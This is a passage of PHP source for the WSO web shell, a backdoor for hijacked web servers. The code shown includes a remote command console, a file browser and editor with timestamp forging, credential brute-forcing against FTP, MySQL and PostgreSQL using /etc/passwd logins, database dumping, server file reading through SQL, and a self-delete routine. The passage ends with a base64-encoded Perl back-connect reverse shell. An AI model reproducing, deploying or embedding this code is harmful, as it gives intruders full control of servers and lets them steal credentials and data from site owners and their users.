if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}} if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}} if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}} $stringTools = array( 'Base64 encode' => 'base64_encode', 'Base64 decode' => 'base64_decode', 'Url encode' => 'urlencode', 'Url decode' => 'urldecode', 'Full urlencode' => 'full_urlencode', 'md5 hash' => 'md5', 'sha1 hash' => 'sha1', 'crypt' => 'crypt', 'CRC32' => 'crc32', 'ASCII to HEX' => 'ascii2hex', 'HEX to ASCII' => 'hex2ascii', 'HEX to DEC' => 'hexdec', 'HEX to BIN' => 'hex2bin', 'DEC to HEX' => 'dechex', 'DEC to BIN' => 'decbin', 'BIN to HEX' => 'binhex', 'BIN to DEC' => 'bindec', 'String to lower case' => 'strtolower', 'String to upper case' => 'strtoupper', 'Htmlspecialchars' => 'htmlspecialchars', 'String length' => 'strlen', ); if(isset($_POST['ajax'])) { WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true); ob_start(); if(in_array($_POST['p1'], $stringTools)) echo $_POST['p1']($_POST['p2']); $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n"; echo strlen($temp), "\n", $temp; exit; } if(empty($_POST['ajax'])&&!empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0); wsoHeader(); echo '<h1>String conversions</h1><div class=content>'; echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>"; foreach($stringTools as $k => $v) echo "<option value='".htmlspecialchars($v)."'>".$k."</option>"; echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>"; if(!empty($_POST['p1'])) { if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2'])); } echo"</pre></div><br><h1>Search files:</h1><div class=content>
127 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
128 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
129 <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
130 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
131 <tr><td></td><td><input type='submit' value='>>'></td></tr>
132 </table></form>"; function wsoRecursiveGlob($path) { if(substr($path, -1) != '/') $path.='/'; $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR))); if(is_array($paths)&&@count($paths)) { foreach($paths as $item) { if(@is_dir($item)){ if($path!=$item) wsoRecursiveGlob($item); } else { if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false) echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>"; } } } } if(@$_POST['p3']) wsoRecursiveGlob($_POST['c']); echo "</div><br><h1>Search for hash:</h1><div class=content>
133 <form method='post' target='_blank' name='hf'>
134 <input type='text' name='hash' style='width:200px;'><br>
135 <input type='hidden' name='act' value='find'/>
136 <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
137 <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
138 <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
139 </form></div>"; wsoFooter(); } function actionFilesTools() { if( isset($_POST['p1']) ) $_POST['p1'] = urldecode($_POST['p1']); if(@$_POST['p2']=='download') { if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) { ob_start("ob_gzhandler", 4096); header("Content-Disposition: attachment; filename=".basename($_POST['p1'])); if (function_exists("mime_content_type")) { $type = @mime_content_type($_POST['p1']); header("Content-Type: " . $type); } else header("Content-Type: application/octet-stream"); $fp = @fopen($_POST['p1'], "r"); if($fp) { while(!@feof($fp)) echo @fread($fp, 1024); fclose($fp); } }exit; } if( @$_POST['p2'] == 'mkfile' ) { if(!file_exists($_POST['p1'])) { $fp = @fopen($_POST['p1'], 'w'); if($fp) { $_POST['p2'] = "edit"; fclose($fp); } } } wsoHeader(); echo '<h1>File tools</h1><div class=content>'; if( !file_exists(@$_POST['p1']) ) { echo 'File not exists'; wsoFooter(); return; } $uid = @posix_getpwuid(@fileowner($_POST['p1'])); if(!$uid) { $uid['name'] = @fileowner($_POST['p1']); $gid['name'] = @filegroup($_POST['p1']); } else $gid = @posix_getgrgid(@filegroup($_POST['p1'])); echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>'; echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>'; if( empty($_POST['p2']) ) $_POST['p2'] = 'view'; if( is_file($_POST['p1']) ) $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch'); else $m = array('Chmod', 'Rename', 'Touch'); foreach($m as $v) echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> '; echo '<br><br>'; switch($_POST['p2']) { case 'view': echo '<pre class=ml1>'; $fp = @fopen($_POST['p1'], 'r'); if($fp) { while( !@feof($fp) ) echo htmlspecialchars(@fread($fp, 1024)); @fclose($fp); } echo '</pre>'; break; case 'highlight': if( @is_readable($_POST['p1']) ) { echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">'; $code = @highlight_file($_POST['p1'],true); echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>'; } break; case 'chmod': if( !empty($_POST['p3']) ) { $perms = 0; for($i=strlen($_POST['p3'])-1;$i>=0;--$i) $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1)); if(!@chmod($_POST['p1'], $perms)) echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>'; } clearstatcache(); echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>'; break; case 'edit': if( !is_writable($_POST['p1'])) { echo 'File isn\'t writeable'; break; } if( !empty($_POST['p3']) ) { $time = @filemtime($_POST['p1']); $_POST['p3'] = substr($_POST['p3'],1); $fp = @fopen($_POST['p1'],"w"); if($fp) { @fwrite($fp,$_POST['p3']); @fclose($fp); echo 'Saved!<br><script>p3_="";</script>'; @touch($_POST['p1'],$time,$time); } } echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>'; $fp = @fopen($_POST['p1'], 'r'); if($fp) { while( !@feof($fp) ) echo htmlspecialchars(@fread($fp, 1024)); @fclose($fp); } echo '</textarea><input type=submit value=">>"></form>'; break; case 'hexdump': $c = @file_get_contents($_POST['p1']); $n = 0; $h = array('00000000<br>','',''); $len = strlen($c); for ($i=0; $i<$len; ++$i) { $h[1] .= sprintf('%02X',ord($c[$i])).' '; switch ( ord($c[$i]) ) { case 0: $h[2] .= ' '; break; case 9: $h[2] .= ' '; break; case 10: $h[2] .= ' '; break; case 13: $h[2] .= ' '; break; default: $h[2] .= $c[$i]; break; } $n++; if ($n == 32) { $n = 0; if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';} $h[1] .= '<br>'; $h[2] .= "\n"; } } echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>'; break; case 'rename': if( !empty($_POST['p3']) ) { if(!@rename($_POST['p1'], $_POST['p3'])) echo 'Can\'t rename!<br>'; else die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>'); } echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>'; break; case 'touch': if( !empty($_POST['p3']) ) { $time = strtotime($_POST['p3']); if($time) { if(!touch($_POST['p1'],$time,$time)) echo 'Fail!'; else echo 'Touched!'; } else echo 'Bad time format!'; } clearstatcache(); echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>'; break; } echo '</div>'; wsoFooter(); } function actionConsole() { if(!empty($_POST['p1']) && !empty($_POST['p2'])) { WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true); $_POST['p1'] .= ' 2>&1'; } elseif(!empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0); if(isset($_POST['ajax'])) { WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true); ob_start(); echo "d.cf.cmd.value='';\n"; $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0")); if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) { if(@chdir($match[1])) { $GLOBALS['cwd'] = @getcwd(); echo "c_='".$GLOBALS['cwd']."';"; } } echo "d.cf.output.value+='".$temp."';"; echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;"; $temp = ob_get_clean(); echo strlen($temp), "\n", $temp; exit; } if(empty($_POST['ajax'])&&!empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0); wsoHeader(); echo "<script>
140if(window.Event) window.captureEvents(Event.KEYDOWN);
141var cmds = new Array('');
142var cur = 0;
143function kp(e) {
144 var n = (window.Event) ? e.which : e.keyCode;
145 if(n == 38) {
146 cur--;
147 if(cur>=0)
148 document.cf.cmd.value = cmds[cur];
149 else
150 cur++;
151 } else if(n == 40) {
152 cur++;
153 if(cur < cmds.length)
154 document.cf.cmd.value = cmds[cur];
155 else
156 cur--;
157 }
158}
159function add(cmd) {
160 cmds.pop();
161 cmds.push(cmd);
162 cmds.push('');
163 cur = cmds.length-1;
164}
165</script>"; echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>'; foreach($GLOBALS['aliases'] as $n => $v) { if($v == '') { echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>'; continue; } echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>'; } echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>'; if(!empty($_POST['p1'])) { echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1'])); } echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>'; echo '</form></div><script>d.cf.cmd.focus();</script>'; wsoFooter(); } function actionLogout() { setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600); die('bye!'); } function actionSelfRemove() { if($_POST['p1'] == 'yes') if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__))) die('Shell has been removed'); else echo 'unlink error!'; if($_POST['p1'] != 'yes') wsoHeader(); echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>'; wsoFooter(); } function actionBruteforce() { wsoHeader(); if( isset($_POST['proto']) ) { echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>'; if( $_POST['proto'] == 'ftp' ) { function wsoBruteForce($ip,$port,$login,$pass) { $fp = @ftp_connect($ip, $port?$port:21); if(!$fp) return false; $res = @ftp_login($fp, $login, $pass); @ftp_close($fp); return $res; } } elseif( $_POST['proto'] == 'mysql' ) { function wsoBruteForce($ip,$port,$login,$pass) { $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass); @mysql_close($res); return $res; } } elseif( $_POST['proto'] == 'pgsql' ) { function wsoBruteForce($ip,$port,$login,$pass) { $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres"; $res = @pg_connect($str); @pg_close($res); return $res; } } $success = 0; $attempts = 0; $server = explode(":", $_POST['server']); if($_POST['type'] == 1) { $temp = @file('/etc/passwd'); if( is_array($temp) ) foreach($temp as $line) { $line = explode(":", $line); ++$attempts; if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) { $success++; echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>'; } if(@$_POST['reverse']) { $tmp = ""; for($i=strlen($line[0])-1; $i>=0; --$i) $tmp .= $line[0][$i]; ++$attempts; if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) { $success++; echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp); } } } } elseif($_POST['type'] == 2) { $temp = @file($_POST['dict']); if( is_array($temp) ) foreach($temp as $line) { $line = trim($line); ++$attempts; if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) { $success++; echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>'; } } } echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>"; } echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>' .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>' .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">' .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">' .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">' .'<span>Server:port</span></td>' .'<td><input type=text name=server value="127.0.0.1"></td></tr>' .'<tr><td><span>Brute type</span></td>' .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>' .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>' .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>' .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' .'<td><input type=text name=login value="root"></td></tr>' .'<tr><td><span>Dictionary</span></td>' .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>' .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>'; echo '</div><br>'; wsoFooter(); } function actionSql() { class DbClass { var $type; var $link; var $res; function DbClass($type) { $this->type = $type; } function connect($host, $user, $pass, $dbname){ switch($this->type) { case 'mysql': if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true; break; case 'pgsql': $host = explode(':', $host); if(!$host[1]) $host[1]=5432; if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true; break; } return false; } function selectdb($db) { switch($this->type) { case 'mysql': if (@mysql_select_db($db))return true; break; } return false; } function query($str) { switch($this->type) { case 'mysql': return $this->res = @mysql_query($str); break; case 'pgsql': return $this->res = @pg_query($this->link,$str); break; } return false; } function fetch() { $res = func_num_args()?func_get_arg(0):$this->res; switch($this->type) { case 'mysql': return @mysql_fetch_assoc($res); break; case 'pgsql': return @pg_fetch_assoc($res); break; } return false; } function listDbs() { switch($this->type) { case 'mysql': return $this->query("SHOW databases"); break; case 'pgsql': return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'"); break; } return false; } function listTables() { switch($this->type) { case 'mysql': return $this->res = $this->query('SHOW TABLES'); break; case 'pgsql': return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'"); break; } return false; } function error() { switch($this->type) { case 'mysql': return @mysql_error(); break; case 'pgsql': return @pg_last_error(); break; } return false; } function setCharset($str) { switch($this->type) { case 'mysql': if(function_exists('mysql_set_charset')) return @mysql_set_charset($str, $this->link); else $this->query('SET CHARSET '.$str); break; case 'pgsql': return @pg_set_client_encoding($this->link, $str); break; } return false; } function loadFile($str) { switch($this->type) { case 'mysql': return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file")); break; case 'pgsql': $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;"); $r=array(); while($i=$this->fetch()) $r[] = $i['file']; $this->query('drop table wso2'); return array('file'=>implode("\n",$r)); break; } return false; } function dump($table, $fp = false) { switch($this->type) { case 'mysql': $res = $this->query('SHOW CREATE TABLE `'.$table.'`'); $create = mysql_fetch_array($res); $sql = $create[1].";\n"; if($fp) fwrite($fp, $sql); else echo($sql); $this->query('SELECT * FROM `'.$table.'`'); $i = 0; $head = true; while($item = $this->fetch()) { $sql = ''; if($i % 1000 == 0) { $head = true; $sql = ";\n\n"; } $columns = array(); foreach($item as $k=>$v) { if($v === null) $item[$k] = "NULL"; elseif(is_int($v)) $item[$k] = $v; else $item[$k] = "'".@mysql_real_escape_string($v)."'"; $columns[] = "`".$k."`"; } if($head) { $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')'; $head = false; } else $sql .= "\n\t,(".implode(", ", $item).')'; if($fp) fwrite($fp, $sql); else echo($sql); $i++; } if(!$head) if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n"); break; case 'pgsql': $this->query('SELECT * FROM '.$table); while($item = $this->fetch()) { $columns = array(); foreach($item as $k=>$v) { $item[$k] = "'".addslashes($v)."'"; $columns[] = $k; } $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n"; if($fp) fwrite($fp, $sql); else echo($sql); } break; } return false; } }; $db = new DbClass($_POST['type']); if(@$_POST['p2']=='download') { $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']); $db->selectdb($_POST['sql_base']); switch($_POST['charset']) { case "Windows-1251": $db->setCharset('cp1251'); break; case "UTF-8": $db->setCharset('utf8'); break; case "KOI8-R": $db->setCharset('koi8r'); break; case "KOI8-U": $db->setCharset('koi8u'); break; case "cp866": $db->setCharset('cp866'); break; } if(empty($_POST['file'])) { ob_start("ob_gzhandler", 4096); header("Content-Disposition: attachment; filename=dump.sql"); header("Content-Type: text/plain"); foreach($_POST['tbl'] as $v) $db->dump($v); exit; } elseif($fp = @fopen($_POST['file'], 'w')) { foreach($_POST['tbl'] as $v) $db->dump($v, $fp); fclose($fp); unset($_POST['p2']); } else die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>'); } wsoHeader(); echo "
166<h1>Sql browser</h1><div class=content>
167<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
168<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
169<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
170<td><select name='type'><option value='mysql' "; if(@$_POST['type']=='mysql')echo 'selected'; echo ">MySql</option><option value='pgsql' "; if(@$_POST['type']=='pgsql')echo 'selected'; echo ">PostgreSql</option></select></td>
171<td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
172<td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
173<td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>"; $tmp = "<input type=text name=sql_base value=''>"; if(isset($_POST['sql_host'])){ if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) { switch($_POST['charset']) { case "Windows-1251": $db->setCharset('cp1251'); break; case "UTF-8": $db->setCharset('utf8'); break; case "KOI8-R": $db->setCharset('koi8r'); break; case "KOI8-U": $db->setCharset('koi8u'); break; case "cp866": $db->setCharset('cp866'); break; } $db->listDbs(); echo "<select name=sql_base><option value=''></option>"; while($item = $db->fetch()) { list($key, $value) = each($item); echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>'; } echo '</select>'; } else echo $tmp; }else echo $tmp; echo "</td>
174 <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
175 <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
176 </tr>
177 </table>
178 <script>
179 s_db='".@addslashes($_POST['sql_base'])."';
180 function fs(f) {
181 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
182 if(f.p1) f.p1.value='';
183 if(f.p2) f.p2.value='';
184 if(f.p3) f.p3.value='';
185 }
186 }
187 function st(t,l) {
188 d.sf.p1.value = 'select';
189 d.sf.p2.value = t;
190 if(l && d.sf.p3) d.sf.p3.value = l;
191 d.sf.submit();
192 }
193 function is() {
194 for(i=0;i<d.sf.elements['tbl[]'].length;++i)
195 d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
196 }
197 </script>"; if(isset($db) && $db->link){ echo "<br/><table width=100% cellpadding=2 cellspacing=0>"; if(!empty($_POST['sql_base'])){ $db->selectdb($_POST['sql_base']); echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>"; $tbls_res = $db->listTables(); while($item = $db->fetch($tbls_res)) { list($key, $value) = each($item); if(!empty($_POST['sql_count'])) $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.'')); $value = htmlspecialchars($value); echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>"; } echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>"; if(@$_POST['p1'] == 'select') { $_POST['p1'] = 'query'; $_POST['p3'] = $_POST['p3']?$_POST['p3']:1; $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']); $num = $db->fetch(); $pages = ceil($num['n'] / 30); echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">"; echo " of $pages"; if($_POST['p3'] > 1) echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>< Prev</a>"; if($_POST['p3'] < $pages) echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next ></a>"; $_POST['p3']--; if($_POST['type']=='pgsql') $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30); else $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30'; echo "<br><br>"; } if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) { $db->query(@$_POST['p2']); if($db->res !== false) { $title = false; echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">'; $line = 1; while($item = $db->fetch()) { if(!$title) { echo '<tr>'; foreach($item as $key => $value) echo '<th>'.$key.'</th>'; reset($item); $title=true; echo '</tr><tr>'; $line = 2; } echo '<tr class="l'.$line.'">'; $line = $line==1?2:1; foreach($item as $key => $value) { if($value == null) echo '<td><i>null</i></td>'; else echo '<td>'.nl2br(htmlspecialchars($value)).'</td>'; } echo '</tr>'; } echo '</table>'; } else { echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>'; } } echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>"; if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile')) echo htmlspecialchars($_POST['p2']); echo "</textarea><br/><input type=submit value='Execute'>"; echo "</td></tr>"; } echo "</table></form><br/>"; if($_POST['type']=='mysql') { $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'"); if($db->fetch()) echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>"; } if(@$_POST['p1'] == 'loadfile') { $file = $db->loadFile($_POST['p2']); echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>'; } } else { echo htmlspecialchars($db->error()); } echo '</div>'; wsoFooter(); } function actionNetwork() { wsoHeader(); $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7"; 